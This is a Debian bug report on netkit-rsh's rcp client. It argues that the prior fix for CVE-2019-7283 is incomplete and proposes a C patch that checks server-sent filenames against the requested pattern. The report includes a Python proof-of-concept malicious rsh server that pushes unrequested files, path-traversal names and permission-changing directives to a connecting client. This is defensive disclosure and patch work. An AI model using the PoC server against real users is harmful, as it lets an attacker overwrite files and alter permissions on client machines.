Package: netkit-rsh Version: 0.17-22 The recommended patch for CVE-2019-7282 and CVE-2019-7283 supplied in the bug report #920486 (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=920486) was insufficient.
The patch provided is only for CVE-2019-7282, which is associated with CVE-2018-20685 and that's exactly the solution of the patch for that CVE ( https://security-tracker.debian.org/tracker/CVE-2018-20685). The patch originally supplied for CVE-2019-6111 (the CVE associated with CVE-2019-7283) was also insufficient and was fixed afterward in the Openssh package (https://ubuntu.com/security/notices/USN-3885-2) The issue affects all versions of the package netkit-rsh. A PoC is attached to check for CVE-2019-7283 which reports that the latest release version is also affected. It's meant to be executed with root privileges as it creates a temporary server listening on port 514. To run the tests, execute test-CVE-2019-7283.sh (CVE-2019-7823-poc.py is needed in the same directory for the bash script to run) *david@sec-jammy-amd64:~/poc$ apt list rsh-clientListing... Donersh-client/jammy,now 0.17-22 amd64 [installed]david@sec-jammy-amd64:~/poc$ lsCVE-2019-7823-poc.py test-CVE-2019-7283.shdavid@sec-jammy-amd64:~/poc$ rcp david@sec-jammy-amd64:testfile.txt .david@sec-jammy-amd64:~/poc$ lsCVE-2019-7823-poc.py malicious.txt **test-CVE-2019-7283.sh** testfile.txt* *david@sec-jammy-amd64:~/poc$ sudo ./**test-CVE-2019-7283.sh* *FAILED test_several_files_CVE_2019_7283OK test_lower_directory_CVE_2019_7283OK test_upper_directory_CVE_2019_7283FAILED test_hidden_file_CVE_2019_7283FAILED test_other_file_CVE_2019_7283* A new patch is proposed. The patch was extracted and adapted from the revision performed over the CVE-2019-6111 patch ( https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3). The patch was generated for version 0.17-21 but it can easily be applied to other versions as well. The patch checks if the files requested by the user match the ones sent by the server. The revision includes the cases where shell parameter expansion is used.
Description: [PATCH] CVE-2019-7283 This patch is a fix for CVE-2019-7283. The proposed patch in #920486 was insufficient. The code is extracted and adjusted from the patch applied in the OpenSSH package for CVE-2019-6111. The filenames sent by the server are checked against the ones requested by the user. This fix includes shell parameter expansion cases. Author: David Fernandez Gonzalez <david.fernandezgonza...@canonical.com> Last-Update: 2022-03-14 --- netkit-rsh-0.17.orig/rcp/rcp.c +++ netkit-rsh-0.17/rcp/rcp.c @@ -57,6 +57,7 @@ char rcsid[] = "$Id: rcp.c,v 1.15 2000/0 #include <netinet/ip.h> #include <dirent.h> #include <fcntl.h> +#include <fnmatch.h> #include <signal.h> #include <pwd.h> #include <netdb.h> @@ -95,7 +96,7 @@ static int okname(const char *cp0); static int susystem(const char *s); static void source(int argc, char *argv[]); static void rsource(char *name, struct stat64 *statp); -static void sink(int argc, char *argv[]); +static void sink(int argc, char *argv[], const char *src); static BUF *allocbuf(BUF *bp, int fd, int blksize); static void nospace(void); static void usage(void); @@ -174,7 +175,7 @@ main(int argc, char *argv[]) fprintf(stderr, "rcp: setuid: %s\n", strerror(errno)); exit(1); } - sink(argc, argv); + sink(argc, argv, NULL); exit(errs); } @@ -204,6 +205,256 @@ main(int argc, char *argv[]) exit(errs); } + +/* Appends a string to an array; returns 0 on success, -1 on alloc failure */ +static int +append(char *cp, char ***ap, size_t *np) +{ + char **tmp; + + if ((tmp = reallocarray(*ap, *np + 1, sizeof(*tmp))) == NULL) + return -1; + tmp[(*np)] = cp; + (*np)++; + *ap = tmp; + return 0; +} + +/* + * Finds the start and end of the first brace pair in the pattern. + * returns 0 on success or -1 for invalid patterns. + */ +static int +find_brace(const char *pattern, int *startp, int *endp) +{ + int i; + int in_bracket, brace_level; + + *startp = *endp = -1; + in_bracket = brace_level = 0; + for (i = 0; i < INT_MAX && *endp < 0 && pattern[i] != '\0'; i++) { + switch (pattern[i]) { + case '\\': + /* skip next character */ + if (pattern[i + 1] != '\0') + i++; + break; + case '[': + in_bracket = 1; + break; + case ']': + in_bracket = 0; + break; + case '{': + if (in_bracket) + break; + if (pattern[i + 1] == '}') { + /* Protect a single {}, for find(1), like csh */ + i++; /* skip */ + break; + } + if (*startp == -1) + *startp = i; + brace_level++; + break; + case '}': + if (in_bracket) + break; + if (*startp < 0) { + /* Unbalanced brace */ + return -1; + } + if (--brace_level <= 0) + *endp = i; + break; + } + } + /* unbalanced brackets/braces */ + if (*endp < 0 && (*startp >= 0 || in_bracket)) + return -1; + return 0; +} + +/* + * Assembles and records a successfully-expanded pattern, returns -1 on + * alloc failure. + */ +static int +emit_expansion(const char *pattern, int brace_start, int brace_end, + int sel_start, int sel_end, char ***patternsp, size_t *npatternsp) +{ + char *cp; + int o = 0, tail_len = strlen(pattern + brace_end + 1); + + if ((cp = malloc(brace_start + (sel_end - sel_start) + + tail_len + 1)) == NULL) + return -1; + + /* Pattern before initial brace */ + if (brace_start > 0) { + memcpy(cp, pattern, brace_start); + o = brace_start; + } + /* Current braced selection */ + if (sel_end - sel_start > 0) { + memcpy(cp + o, pattern + sel_start, + sel_end - sel_start); + o += sel_end - sel_start; + } + /* Remainder of pattern after closing brace */ + if (tail_len > 0) { + memcpy(cp + o, pattern + brace_end + 1, tail_len); + o += tail_len; + } + cp[o] = '\0'; + if (append(cp, patternsp, npatternsp) != 0) { + free(cp); + return -1; + } + return 0; +} + +/* + * Expand the first encountered brace in pattern, appending the expanded + * patterns it yielded to the *patternsp array. + * + * Returns 0 on success or -1 on allocation failure. + * + * Signals whether expansion was performed via *expanded and whether + * pattern was invalid via *invalid. + */ +static int +brace_expand_one(const char *pattern, char ***patternsp, size_t *npatternsp, + int *expanded, int *invalid) +{ + int i; + int in_bracket, brace_start, brace_end, brace_level; + int sel_start, sel_end; + + *invalid = *expanded = 0; + + if (find_brace(pattern, &brace_start, &brace_end) != 0) { + *invalid = 1; + return 0; + } else if (brace_start == -1) + return 0; + + in_bracket = brace_level = 0; + for (i = sel_start = brace_start + 1; i < brace_end; i++) { + switch (pattern[i]) { + case '{': + if (in_bracket) + break; + brace_level++; + break; + case '}': + if (in_bracket) + break; + brace_level--; + break; + case '[': + in_bracket = 1; + break; + case ']': + in_bracket = 0; + break; + case '\\': + if (i < brace_end - 1) + i++; /* skip */ + break; + } + if (pattern[i] == ',' || i == brace_end - 1) { + if (in_bracket || brace_level > 0) + continue; + /* End of a selection, emit an expanded pattern */ + + /* Adjust end index for last selection */ + sel_end = (i == brace_end - 1) ? brace_end : i; + if (emit_expansion(pattern, brace_start, brace_end, + sel_start, sel_end, patternsp, npatternsp) != 0) + return -1; + /* move on to the next selection */ + sel_start = i + 1; + continue; + } + } + if (in_bracket || brace_level > 0) { + *invalid = 1; + return 0; + } + /* success */ + *expanded = 1; + return 0; +} + +/* Expand braces from pattern. Returns 0 on success, -1 on failure */ +static int +brace_expand(const char *pattern, char ***patternsp, size_t *npatternsp) +{ + char *cp, *cp2, **active = NULL, **done = NULL; + size_t i, nactive = 0, ndone = 0; + int ret = -1, invalid = 0, expanded = 0; + + *patternsp = NULL; + *npatternsp = 0; + + /* Start the worklist with the original pattern */ + if ((cp = strdup(pattern)) == NULL) + return -1; + if (append(cp, &active, &nactive) != 0) { + free(cp); + return -1; + } + while (nactive > 0) { + cp = active[nactive - 1]; + nactive--; + if (brace_expand_one(cp, &active, &nactive, + &expanded, &invalid) == -1) { + free(cp); + goto fail; + } + if (invalid) { + error("%s: invalid brace pattern \"%s\"", __func__, cp); + exit(1); + } + if (expanded) { + /* + * Current entry expanded to new entries on the + * active list; discard the progenitor pattern. + */ + free(cp); + continue; + } + /* + * Pattern did not expand; append the finename component to + * the completed list + */ + if ((cp2 = strrchr(cp, '/')) != NULL) + *cp2++ = '\0'; + else + cp2 = cp; + if (append(strdup(cp2), &done, &ndone) != 0) { + free(cp); + goto fail; + } + free(cp); + } + /* success */ + *patternsp = done; + *npatternsp = ndone; + done = NULL; + ndone = 0; + ret = 0; + fail: + for (i = 0; i < nactive; i++) + free(active[i]); + free(active); + for (i = 0; i < ndone; i++) + free(done[i]); + free(done); + return ret; +} + static void toremote(const char *targ, int argc, char *argv[]) { @@ -355,7 +606,7 @@ tolocal(int argc, char *argv[]) (char *)&tos, sizeof(int)) < 0) perror("rcp: setsockopt TOS (ignored)"); #endif - sink(1, argv + argc - 1); + sink(1, argv + argc - 1, src); (void)seteuid(0); (void)close(rem); rem = -1; @@ -629,7 +880,7 @@ lostconn(int ignore) } static void -sink(int argc, char *argv[]) +sink(int argc, char *argv[], const char *src) { register char *cp; static BUF buffer; @@ -647,6 +898,8 @@ sink(int argc, char *argv[]) char *np, *vect[1], buf[BUFSIZ]; char *namebuf = NULL; unsigned cursize = 0, nbase = 0; + char **patterns = NULL; + size_t n, npatterns = 0; #define atime tv[0] #define mtime tv[1] @@ -666,12 +919,22 @@ sink(int argc, char *argv[]) (void)write(rem, "", 1); if (stat64(targ, &stb) == 0 && (stb.st_mode & S_IFMT) == S_IFDIR) targisdir = 1; + if (src != NULL && !iamrecursive) { + /* + * Prepare to try to restrict incoming filenames to match + * the requested destination file glob. + */ + if (brace_expand(src, &patterns, &npatterns) != 0) { + error("%s: could not expand pattern", __func__); + exit(1); + } + } for (first = 1;; first = 0) { cp = buf; if (read(rem, cp, 1) <= 0) { if (namebuf) free(namebuf); - return; + goto done; } if (*cp++ == '\n') SCREWUP("unexpected <newline>"); @@ -752,6 +1015,14 @@ sink(int argc, char *argv[]) error("error: unexpected filename: %s", cp); exit(1); } + if (npatterns > 0) { + for (n = 0; n < npatterns; n++) { + if (fnmatch(patterns[n], cp, 0) == 0) + break; + } + if (n >= npatterns) + SCREWUP("filename does not match request"); + } if (targisdir) { char *newbuf; int need = strlen(targ) + strlen(cp) + 2; @@ -791,7 +1062,7 @@ sink(int argc, char *argv[]) } else if (mkdir(np, mode) < 0) goto bad; vect[0] = np; - sink(1, vect); + sink(1, vect, src); if (setimes) { setimes = 0; if (utimes(np, tv) < 0) @@ -867,7 +1138,15 @@ bad: error("rcp: %s: %s\n", np, strerr break; } } +done: + for (n = 0; n < npatterns; n++) + free(patterns[n]); + free(patterns); + return; screwup: + for (n = 0; n < npatterns; n++) + free(patterns[n]); + free(patterns); error("rcp: protocol screwup: %s\n", why); exit(1); }
# # David Fernandez Gonzalez: david.fernandezgonza...@canonical.com # import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) well_known_port = 514 sock.bind(('0.0.0.0', well_known_port)) sock.listen(1) def read_intro(socket): while True: data = socket.recv(1024) if b'rcp' in data: break def send_file(socket, filename, filesize, data): socket.send(b'\x00') socket.send(b'C0664 %b %b\n' % (filesize.encode(), filename.encode())) socket.recv(1) socket.send(b'%b\n' % data.encode()) socket.send(b'\x00') socket.recv(1) def init_socket(): socket, _ = sock.accept( ) return socket def close_socket(socket): socket.shutdown(1) socket.close() def case_other_file_CVE_2019_7283(): newSocket = init_socket() read_intro(newSocket) send_file(newSocket, 'malicious.txt', '6', 'evil') newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_several_files_CVE_2019_7283(): newSocket = init_socket() read_intro(newSocket) send_file(newSocket, 'testfile.txt', '6', 'test') send_file(newSocket, 'malicious.txt', '6', 'evil') newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_lower_directory_CVE_2019_7283(): newSocket = init_socket() read_intro(newSocket) send_file(newSocket, '../testfile.txt', '6', 'test') newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_change_permissions_CVE_2019_7282(): newSocket = init_socket() read_intro(newSocket) newSocket.send(b'\x00') newSocket.send(b'D0777 0 \n') newSocket.recv(1) newSocket.send(b'\n') newSocket.send(b'\x00') newSocket.recv(1) newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_change_permissions_current_folder_CVE_2019_7282(): newSocket = init_socket() read_intro(newSocket) newSocket.send(b'\x00') newSocket.send(b'D0777 0 .\n') newSocket.recv(1) newSocket.send(b'\n') newSocket.send(b'\x00') newSocket.recv(1) newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_change_permissions_lower_folder_CVE_2019_7282(): newSocket = init_socket() read_intro(newSocket) newSocket.send(b'\x00') newSocket.send(b'D0777 0 ..\n') newSocket.recv(1) newSocket.send(b'\n') newSocket.send(b'\x00') newSocket.recv(1) newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_upper_directory_CVE_2019_7283(): newSocket = init_socket() read_intro(newSocket) send_file(newSocket, 'test/testfile.txt', '6', 'test') newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) def case_hidden_file_CVE_2019_7283(): newSocket = init_socket() read_intro(newSocket) send_file(newSocket, '.test', '6', 'test') newSocket.send(b'\x00') newSocket.recv(1024) close_socket(newSocket) if (len(sys.argv) == 1): print('Select test number') sys.exit(1) if (int(sys.argv[1]) == 0): case_several_files_CVE_2019_7283() elif (int(sys.argv[1]) == 1): case_lower_directory_CVE_2019_7283() elif (int(sys.argv[1]) == 2): case_upper_directory_CVE_2019_7283() elif (int(sys.argv[1]) == 3): case_hidden_file_CVE_2019_7283() elif (int(sys.argv[1]) == 4): case_other_file_CVE_2019_7283() elif (int(sys.argv[1]) == 5): case_change_permissions_CVE_2019_7282() elif (int(sys.argv[1]) == 6): case_change_permissions_current_folder_CVE_2019_7282() elif (int(sys.argv[1]) == 7): case_change_permissions_lower_folder_CVE_2019_7282() sock.close()
test-CVE-2019-7283.sh
Description: application/shellscript